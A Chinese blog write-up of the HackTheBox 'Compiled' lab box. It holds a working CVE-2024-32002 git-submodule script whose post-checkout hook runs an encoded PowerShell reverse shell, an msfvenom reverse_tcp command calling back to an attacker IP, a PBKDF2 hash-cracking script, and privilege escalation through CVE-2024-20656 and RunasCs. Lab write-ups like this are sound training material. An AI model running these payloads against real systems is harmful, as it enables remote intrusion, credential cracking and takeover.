HTB-Compiled

Box Info

OSWindows
Rated DifficultyMedium

Port Scan

#linux
nmap -A -Pn 10.10.11.26

扫描出来 3000 和 5000 端口。

3000 端口是一个类似于 git 的服务,具体是由 Gitea 驱动的。包含了注册、登录、创建仓库以及拉取代码等等功能。

5000 端口是一个类似于编译功能,可以传入仓库地址。

Git Rce

在 3000 端口上的 richard 的 Calculator 仓库中,发现了 git 的版本是 2.45.0

结合 5000 端口上的 clone 功能,搜索得到漏洞编号为:CVE-2024-32002 的 git rce 漏洞。

相关文章:Exploiting CVE-2024-32002: RCE via git clone | Amal Murali

文章中的示例脚本中是打开一个计算器,那么在这里可以把他改为反弹 shell。

根据文章中的描述,需要创建两个空仓库。

git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
rm -rf nothing
rm -rf toSeeHere
git clone http://compiled.htb:3000/hyh/repo1.git
cd repo1
mkdir -p y/hooks
cat >y/hooks/post-checkout <<EOF
#!bin/sh.exe
powershell -e JABjAGw...
EOF
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push
cd ..
git clone http://compiled.htb:3000/hyh/repo2.git
cd repo2
git submodule add --name x/y "http://compiled.htb:3000/hyh/repo1.git" A/modules/x
git commit -m "add-submodule"
printf ".git" >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m "add-symlink"
git push

填充到 powershell 那里来反弹 shell。

然后本地运行这个 sh 脚本

这边准备提交 repo2 的代码,并且监听 4321 端口

成功反弹到 shell

查看电脑的用户,发现一个 Emily 用户

在 C 盘 Program Files\Gitea 的 data 目录下发现一个 gitea.db 数据文件

这里无法直接下载,要在 kali 上用 metasploit 生成木马进行控制.

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.16.24 lport=9876 -f exe -o shell.exe

然后 windows 去 curl 下载,成功触发。

然后下载 db 文件

直接打开查看

可以发现密码是经过哈希的,加密方式是 pbkdf2,后面的列里还有盐值

这里可以写一个脚本,在网上也能找到

import hashlib
import binascii
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
hash_value = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
iterations,
dklen
)
return hash_value
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
target_hash_bytes = binascii.unhexlify(target_hash)
with open(dictionary_file, 'r', encoding='utf-8') as file:
for line in file:
password = line.strip()
hash_value = pbkdf2_hash(password, salt, iterations, dklen)
if hash_value == target_hash_bytes:
print(f"Found password: {password}")
return password
print("Password not found.")
return None
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486')
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)

得到密码是 12345678

因为当前权限我们无法直接进入 Emily 的文件夹,所以接下来要使用一个 Evil-Winrm

Evil-Winrm

evil-winrm 是一个可用于黑客攻击 / 渗透测试的 Windows 远程管理 (WinRM) Shell。

在桌面发现 user 的 flag,并且发现在电脑中有 Visual Studio 2019

Google 一下,记得用英文

CVE-2024-20656

git clone 下来,路径改为一致:Wh04m1001/CVE-2024-20656 (github.com)

这里 187 行 CopyFile 的第一个路径要作为靶机 tmp 中的第二个 shell 恶意文件。这个和之前的 msfvenom 是一样的生成方式。属性使用 2019 的工具集。

然后将 VS 改为 Realase 模式生成 exe,并且上传到靶机。

还要上传一个 RunaCs.exe 用来加载木马。

antonioCoco/RunasCs: RunasCs – Csharp 和 Windows 的开放版本内置 runas.exe (github.com)

Msf 同时要进行监听。

之后 meterpreter 就能收到 shell,并且权限是 Administrator,root 的 flag 在 Admin 的桌面

当前页面链接: https://www.hyhforever.top/hackthebox-compiled/
如果您对本文内容有所意见或者建议,欢迎评论。

评论

  1. zeyan
    Windows Chrome
    2024-12-11
    2024-12-11 17:39:09

    能具体解释一下提权的步骤吗

  2. Reaper
    Android Chrome
    2024-12-6
    2024-12-07 6:00:20

    Am not able to get the shell for NT AUTHORIZED. Please anyone can help me in detail for privilage escalation… Also am using kali linux inside a virtual lab

  3. Reaper
    Android Chrome
    2024-12-5
    2024-12-05 8:05:50

    How to generate RunasCs. Exe file and please can u explain about the CVE (privilage escalation)

    • Avatar photo
      博主
      Reaper
      Windows Edge
      2024-12-5
      2024-12-05 10:16:45

      https://github.com/antonioCoco/RunasCs/releases
      here download the RunaCs.ZIP,and exe in it.
      About the CVE ,there are detailed explanations in other articles.I cant explain it well 🙂

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇